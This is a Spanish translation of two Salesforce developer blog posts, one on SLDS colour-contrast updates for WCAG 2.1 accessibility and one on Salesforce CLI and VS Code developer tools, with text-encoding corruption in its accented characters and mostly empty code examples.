Con los colores actuales en Salesforce, los usuarios con problemas de visi贸n tienen dificultades para reconocer los elementos clave de la interfaz de usuario, lo que no solo los frustra, sino que tambi茅n les impide adoptar Salesforce. Adem谩s, Salesforce y sus clientes enfrentan problemas de cumplimiento clave debido a que un n煤mero cada vez mayor de gobiernos en todo el mundo, incluida la Uni贸n Europea (UE) , requieren contraste de color de acuerdo con WCAG 2.1 . WCAG 2.1 ha requerido que los sitios web de las empresas usen texto que cumpla con un contraste de color de 4.5: 1 de su fondo y elementos funcionales que no sean texto que cumplan con un contraste de color de 3: 1 . Aumentar nuestro contraste de color para cumplir con estos est谩ndares nos permitir谩 brindar una mejor experiencia a los usuarios con baja visi贸n y permitir谩 a las empresas que usan nuestros productos evitar fuertes multas por accesibilidad.

驴Cu谩ndo est谩 ocurriendo la actualizaci贸n?

Todos los 铆conos se actualizar谩n como parte del lanzamiento de Summer '23. Las p谩ginas de inicio de registros seleccionados, incluidos los LWC incrustados en las p谩ginas, se actualizar谩n como parte del lanzamiento de Summer '23. Todas las dem谩s p谩ginas, SLDS y los componentes b谩sicos de Lightning se actualizar谩n como parte de la versi贸n Winter '24.

驴Qu茅 es lo que hay que hacer?

Si descarg贸 铆conos de Salesforce y seleccion贸 铆conos espec铆ficos para usarlos como recursos est谩ticos, aseg煤rese de actualizarlos con los nuevos 铆conos . Si est谩 utilizando nuestro paquete SLDS NPM , actualice ese paquete a la 煤ltima versi贸n para ver los cambios. Si tiene p谩ginas personalizadas desarrolladas con SLDS, vea cu谩les de los siguientes escenarios se aplican a su base de c贸digo y realice los cambios correspondientes.

1. Componente base Lightning/Aura

Utiliza un componente Lightning sin anulaciones adicionales. Su c贸digo podr铆a verse como el Ejemplo 1 a continuaci贸n.

驴Qu茅 es lo que hay que hacer?

  1. Nada. Las actualizaciones de color se realizan de forma gratuita a medida que Lightning Base Components implementa un plan SLDS .
  2. Se aplican excepciones a algunos componentes a continuaci贸n.

Ejemplo 1

<dx-code-block title language="html" code-block="
Save
芦>

2. Componente personalizado con plano SLDS

Utiliza un componente personalizado que implementa un modelo SLDS y solo usa clases SLDS para dise帽ar. Su c贸digo podr铆a verse como el Ejemplo 2 a continuaci贸n.

驴Qu茅 es lo que hay que hacer?

  1. Nada. Las actualizaciones de color se realizan de forma gratuita si su componente implementa exactamente un modelo SLDS .

Ejemplo 2

<dx-code-block title language="html" code-block="

芦>

3. Componente personalizado con plano parcial de SLDS

Similar a 2. Componente personalizado con modelo SLDS , pero en este caso, usa un componente personalizado que implementa parcialmente un modelo SLDS o usa m谩s clases de SLDS para dise帽ar. Su c贸digo podr铆a verse como el Ejemplo 3 a continuaci贸n.

驴Qu茅 es lo que hay que hacer?

  1. Es posible que deba actualizar los colores en su CSS personalizado si ve regresiones visuales.
    1. Si existe un componente base Lightning para ese modelo y variante, recomendamos reemplazar su componente personalizado con el componente base Lightning.
      1. Si necesita personalizar el estilo de los componentes, le recomendamos que utilice los nuevos ganchos de estilo --slds para cualquier valor de color codificado. Si el valor de color codificado no tiene una coincidencia exacta en t茅rminos de ganchos de estilo, querr谩 considerar usar el gancho de estilo m谩s parecido.
    2. Es posible que desee verificar si hay suficiente contraste de color para el componente antes de actualizar el valor codificado a un gancho de estilo.
  2. Los cambios de color en las clases de SLDS se realizan de forma gratuita. Debido a que los cambios se limitan al color, estas clases deber铆an continuar funcionando como se esperaba.

Ejemplo 3

<dx-code-block title language="html" code-block="

芦><dx-code-block title language="css" code-block="/* CSS */
.my-class { color: #ccc;

En este caso, la clase de CSS personalizada .my-class anula un valor de .slds-button_neutral . Este valor no solo debe actualizarse para tener un mejor contraste, sino que toda la implementaci贸n tambi茅n ser铆a m谩s f谩cil de mantener si se reemplazara con un componente base Lightning y luego se usara el enlace de estilo --slds-c-button-text-color para hacer una anulaci贸n accesible.

Nota: Si no existe un gancho de estilo para el valor codificado, recomendamos usar el gancho de estilo m谩s cercano disponible.

<dx-code-block title language="html" code-block="
Save
芦>

4. Componente personalizado con tokens o clases SLDS

Est谩 usando un componente personalizado que usa directamente tokens SLDS dentro de CSS personalizado o usa clases SLDS en el marcado. Su c贸digo podr铆a verse como el Ejemplo 4 a continuaci贸n.

驴Qu茅 es lo que hay que hacer?

  1. Es posible que deba reemplazar los tokens que est谩 utilizando en CSS personalizado con los ganchos de estilo global relevantes seg煤n sea necesario.
    1. Consulte el ejemplo 4 a continuaci贸n.

Ejemplo 4

<dx-code-block title language="html" code-block="

芦>

En este ejemplo, el token t(colorBorder) est谩 dise帽ado para bordes decorativos como tarjetas y divisores. Debe reemplazarse con un gancho de estilo que est茅 alineado con el plano del bot贸n SLDS.

5. Componente personalizado con fichas personalizadas

Est谩 usando un componente personalizado que usa tokens personalizados. Su c贸digo podr铆a verse como el Ejemplo 5 a continuaci贸n.

驴Qu茅 es lo que hay que hacer?

Recomendamos reemplazar tokens personalizados con ganchos de estilo SLDS cuando sea posible. Cuando use ganchos de estilo, aseg煤rese de usar ganchos que tengan el contexto sem谩ntico correcto. Por ejemplo, un gancho como --slds-g-color-border-base-1 solo debe usarse para bordes. Esto ayudar谩 a garantizar que su producto siga siendo coherente con el estilo de Salesforce a medida que se produzcan futuras actualizaciones de color.

Si debe mantener su token personalizado por cualquier motivo, vuelva a verificar que su token personalizado no haya experimentado ninguna regresi贸n visual.

Ejemplo 5

<dx-code-block title language="html" code-block="

芦><dx-code-block title language="html" code-block="

芦>

En este ejemplo, el token t(myBackgroundColor) usa un valor de color desactualizado de SLDS. El lenguaje visual Lightning actual ya no usa este color. El token personalizado debe reemplazarse con el color m谩s parecido de la lista de ganchos de estilo. En este ejemplo, 鈥攕lds-g-color-neutral-base-95: #f3f3f3 es el gancho de estilo SLDS m谩s parecido.

6. Componente personalizado con valores codificados

Est谩 usando un componente personalizado que usa un valor de color codificado como #444 o rgb(68,68,68) . Su c贸digo podr铆a parecerse al Ejemplo 3 anterior.

驴Qu茅 es lo que hay que hacer?

  1. Recomendamos reemplazar los colores codificados con ganchos de estilo si existe un color an谩logo. Al seleccionar tokens, aseg煤rese de usar tokens sem谩nticos de manera que conserven su significado. Por ejemplo, --slds-g-color-border-base-1 solo debe usarse como el color del borde de los elementos del formulario. Si desea mantener su valor de color codificado, verifique que estos colores no hayan experimentado ninguna regresi贸n visual.
    Nota: Los valores alternativos pueden permanecer como valores de color codificados.

7. Componente base con anulaci贸n --lwc

Est谩 utilizando un componente Lightning o Aura base y est谩 anulando un token --lwc para personalizar el estilo de uno o m谩s componentes. Su c贸digo podr铆a verse como el Ejemplo 7.

NOTA: Esta no es una forma recomendada de personalizar componentes y no hay garant铆a de que las personalizaciones realizadas de esta manera contin煤en funcionando.

驴Qu茅 es lo que hay que hacer?

  1. Verifique si est谩 anulando y --lwc tokens para cualquiera de estos componentes .
    1. Reemplace el token --lwc que se anula con el enlace de estilo actualizado --slds introducido.

Ejemplo 7

<dx-code-block title language="html" code-block="

芦>

En este ejemplo, al anular 鈥攍wc-colorBorder a rojo, todos los bordes de los botones se vuelven rojos. El equipo de SLDS actualiz贸 esta variante de componente para usar un enlace de estilo global, por lo que esta anulaci贸n dejar谩 de funcionar. En este caso, simplemente use --slds-g-color-border-base-4 en el 谩mbito del selector para anular el color del borde.

Mejores pr谩cticas

  • Reemplace los valores de color codificados de forma r铆gida con ganchos de estilo globales cuando sea posible (los valores de colores codificados de forma r铆gida est谩n bien como valores alternativos).
  • Reemplace los tokens de dise帽o con ganchos de estilo global donde sea posible.
  • Reemplace los ganchos de estilo --lwc con ganchos de estilo globales.
  • Elija ganchos de estilo que correspondan al contexto de uso. Por ejemplo, al reemplazar el valor codificado de #747474 que se usa para un borde con un gancho de estilo, hay dos alternativas para elegir: --slds-g-color-border-base-4 o --slds-g-color-neutral-base-50 . Se recomienda usar --slds-g-color-border-base-4 para el contexto de estilo CSS de "border" en lugar de --slds-g-color-neutral-base-50 .
  • Use declaraciones var(..) y coloque valores de color codificados como respaldo en caso de que un navegador heredado no pueda leer el enlace de estilo o el token de dise帽o. Esto es opcional.
    • background: var(鈥攕lds-g-color-neutral-base-50, #747474);
  • Intente que sus personalizaciones de color cumplan con los est谩ndares de contraste de color de texto y no texto de WCAG 2.1.

M谩s recursos

Sobre el Autor

Timothy Yeh es Gerente de Producto para Sistemas de Dise帽o en Salesforce, enfocado en ayudar a los clientes a construir una interfaz de usuario de mayor calidad m谩s r谩pido al proporcionar sistemas s贸lidos de patrones.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Herramientas para desarrolladores desde cero (Parte 2 de 2) 鈽侊笍

Herramientas para desarrolladores desde cero (Parte 2 de 2) 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Herramientas para desarrolladores desde cero (Parte 2 de 2) | Blog de desarrolladores de Salesforce

Tanto si es un nuevo desarrollador que acaba de empezar su carrera en el ecosistema de Salesforce como si es un desarrollador experimentado de Salesforce que a煤n no se ha cambiado a nuestras nuevas herramientas para desarrolladores, esta serie de publicaciones de blog es para usted. Le mostraremos c贸mo configurar y utilizar las herramientas que pueden ayudar a todos los desarrolladores de Salesforce a ser mucho m谩s productivos y felices.

En la Parte 1 de esta serie , discutimos c贸mo obtener una organizaci贸n gratuita para el desarrollo y c贸mo instalar las herramientas de desarrollo que todo desarrollador de Salesforce deber铆a usar hoy. Le mostramos c贸mo crear un proyecto y autorizarlo con su organizaci贸n y, finalmente, c贸mo implementar metadatos mediante la CLI de Salesforce o VS Code. En esta segunda publicaci贸n de blog, aprender谩 c贸mo recuperar metadatos, trabajar con organizaciones con seguimiento de origen y usar bibliotecas de Node para cuidar la calidad de su c贸digo. Adem谩s, compartiremos otras gemas ocultas de las extensiones de Salesforce para VS Code. 隆Vamos a sumergirnos en 茅l!

Recuperar metadatos de la organizaci贸n

Un pilar del desarrollo de Salesforce es ser eficiente sin reinventar la rueda. Es por eso que hay muchas herramientas de c贸digo bajo disponibles que le permiten crear y modificar metadatos directamente en su organizaci贸n con solo hacer clic. Es posible que vea estas herramientas a las que se hace referencia como herramientas de "apuntar y hacer clic" o herramientas "declarativas". Algunos metadatos t铆picos que crea con clics son p谩ginas, aplicaciones y flujos.

Estos metadatos son algo que puede recuperar en su proyecto local y continuar ampli谩ndolos con c贸digo si es necesario. De hecho, la mejor pr谩ctica es recuperar los metadatos de su organizaci贸n y almacenarlos en un sistema de control de versiones como Git. Pero dejemos este tema para otra entrada del blog.

Si crea o modifica metadatos con clics en su organizaci贸n y conoce el nombre del tipo de metadatos que desea recuperar, puede hacerlo ejecutando este comando:

sf project retrieve start -m FlexiPage

Los nombres de los tipos de metadatos pueden no ser obvios al principio. Afortunadamente, hay algo muy bueno que puede usar para ver todos los metadatos que existen en su organizaci贸n y recuperar lo que necesita: Org Browser. El navegador de la organizaci贸n se agrega a VS Code gracias a las extensiones de Salesforce para VS Code. 脕bralo haciendo clic en el 铆cono de la nube en el panel lateral izquierdo de VS Code, busque los metadatos que necesita y simplemente haga clic en recuperar.

Puede encontrar una lista completa de nombres de tipos de metadatos en la Gu铆a para desarrolladores de la API de metadatos .

Una 煤ltima opci贸n: si los metadatos ya existen en su proyecto local y desea recuperar una versi贸n actualizada, puede hacer clic con el bot贸n derecho en el archivo y seleccionar Retrieve Source from Org .

Un requisito com煤n para las organizaciones existentes ser谩 recuperar todos los metadatos de la organizaci贸n por primera vez y almacenarlos en el proyecto local (y, por lo general, en un sistema de control de versiones). Este es un tema m谩s avanzado, pero si quieres aprender c贸mo hacerlo, te recomiendo ver este video Quick Take .

Trabajar con organizaciones con seguimiento de origen

En esta publicaci贸n de blog, nos hemos centrado en las organizaciones que no tienen activado el seguimiento de fuentes. Esta es la opci贸n predeterminada para las organizaciones y sandboxes de desarrolladores, aunque, en los sandboxes de desarrolladores, se puede activar el seguimiento de origen. Existe otro tipo de organizaci贸n, denominada organizaci贸n borrador, que tiene activado el seguimiento de origen de forma predeterminada.

La principal diferencia con las organizaciones con seguimiento de origen, con respecto a la implementaci贸n y recuperaci贸n de c贸digo, es que los cambios de metadatos se rastrean autom谩ticamente. Eso significa que puede simplificar los comandos de implementaci贸n y recuperaci贸n, simplemente escribiendo:

sf project deploy start

o

sf project retrieve start

La CLI detectar谩 autom谩ticamente todo lo que haya cambiado en su organizaci贸n o en su proyecto local y lo implementar谩 o recuperar谩 en consecuencia. Este es un cambio de juego para los desarrolladores, ya que no tener que especificar los metadatos o la carpeta para recuperar o implementar lo convierte en un desarrollador mucho m谩s productivo. Lea la documentaci贸n para comenzar con el seguimiento de fuentes en Sandboxes u organizaciones Scratch .

Cuidando la calidad del c贸digo con las bibliotecas de Node

Cuando genera un proyecto, tambi茅n contendr谩 un archivo package.json . Este archivo define el proyecto como un proyecto de Node.js. La CLI de Salesforce y la Extensi贸n de Salesforce para su IDE estructuran el proyecto de esta manera, para que pueda ejecutar secuencias de comandos que cuidan la calidad de su c贸digo. Los scripts usan bibliotecas que se definen en la secci贸n devDependencies de package.json y deben descargarse en su proyecto local ejecutando el comando npm install . Ninguna de las bibliotecas de Node se implementar谩 en su organizaci贸n, solo se usar谩n en su m谩quina local.

Aqu铆 hay un resumen de lo que hacen las bibliotecas:

  • Prettier se usa para formatear su c贸digo siguiendo criterios configurables. Esto es extremadamente 煤til cuando varios desarrolladores trabajan en el mismo proyecto, ya que tienen una forma unificada y automatizada de formatear el c贸digo. Tambi茅n proporcionamos un complemento Prettier espec铆fico para formatear las clases de Apex.
  • ESLint lo ayuda a encontrar y solucionar problemas con su c贸digo JavaScript. Adem谩s, proporcionamos un complemento ESLint dise帽ado para filtrar el c贸digo JavaScript de Lightning Web Components.
  • sfdx-lwc-jest se utiliza para escribir y ejecutar pruebas de Jest para sus componentes web Lightning. sa11y es un complemento para escribir pruebas de accesibilidad y asegurarse de que sus componentes sean accesibles.

El punto de entrada para usar las bibliotecas son los scripts definidos en la secci贸n scripts .

Los scripts se pueden ejecutar localmente, bajo demanda y de forma automatizada. Por lo general, estos scripts se ejecutan autom谩ticamente antes de enviar su c贸digo a un repositorio de c贸digo al fusionar su c贸digo con c贸digo desarrollado por otros, o al mover cambios entre entornos en su canalizaci贸n. Esto garantiza que el c贸digo tenga la calidad esperada y que su funcionalidad no se rompa. Este concepto se conoce como integraci贸n continua, y puede ver un buen video de codeLive al respecto.

El uso de estas bibliotecas no es obligatorio, pero recomendamos encarecidamente hacerlo. Para saber m谩s sobre este tema, lee nuestra entrada de blog .

Otras joyas de las Extensiones de Salesforce para VS Code

Eso no es todo sobre las extensiones de Salesforce. Agregan a VS Code muchas m谩s capacidades, como resaltado de sintaxis, finalizaci贸n de c贸digo y validaci贸n de CSS para Lightning Web Components, Aura Components, Apex, SOQL y Visualforce.

Tambi茅n muestran una pesta帽a de prueba que hace que sea mucho m谩s f谩cil ejecutar y escribir pruebas de Apex y Lightning Web Components.

Y, por 煤ltimo, tambi茅n facilitan la depuraci贸n de Apex, gracias a Apex Replay Debugger .

Adem谩s de eso, algo muy bueno de VS Code es que puede agregar toneladas de extensiones creadas por desarrolladores de todos los diferentes ecosistemas. Hay extensiones para ayudarlo con el control de versiones y con el an谩lisis est谩tico de c贸digo (como PMD ). Existen extensiones para Prettier y ESLint que te dan avisos cuando el c贸digo no cumple con sus reglas. Hay extensiones para casi todo lo que pueda necesitar, 隆incluso para usar Chat GPT! Eche un vistazo al VS Code Marketplace para ver todas las extensiones disponibles o, mejor a煤n, 隆cree la suya propia!

Conclusi贸n

隆Vaya, eso fue mucho! En esta publicaci贸n de blog, aprendi贸 sobre las herramientas de desarrollador que todo desarrollador de Salesforce debe conocer y utilizar. Al dominar estas herramientas, se convertir谩 en un desarrollador mucho m谩s productivo, r谩pido y feliz. Si quieres aprender todo este contenido en formato de video, mira nuestro episodio de codeLive . Si trabaja con sandboxes, puede ampliar su conocimiento sobre c贸mo trabajar con sandboxes y la CLI de Salesforce leyendo nuestra serie de publicaciones de blog . Y si tiene preguntas, no dude en hacerlas en Salesforce Developers Trailblazer Community . 隆Feliz codificaci贸n!

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo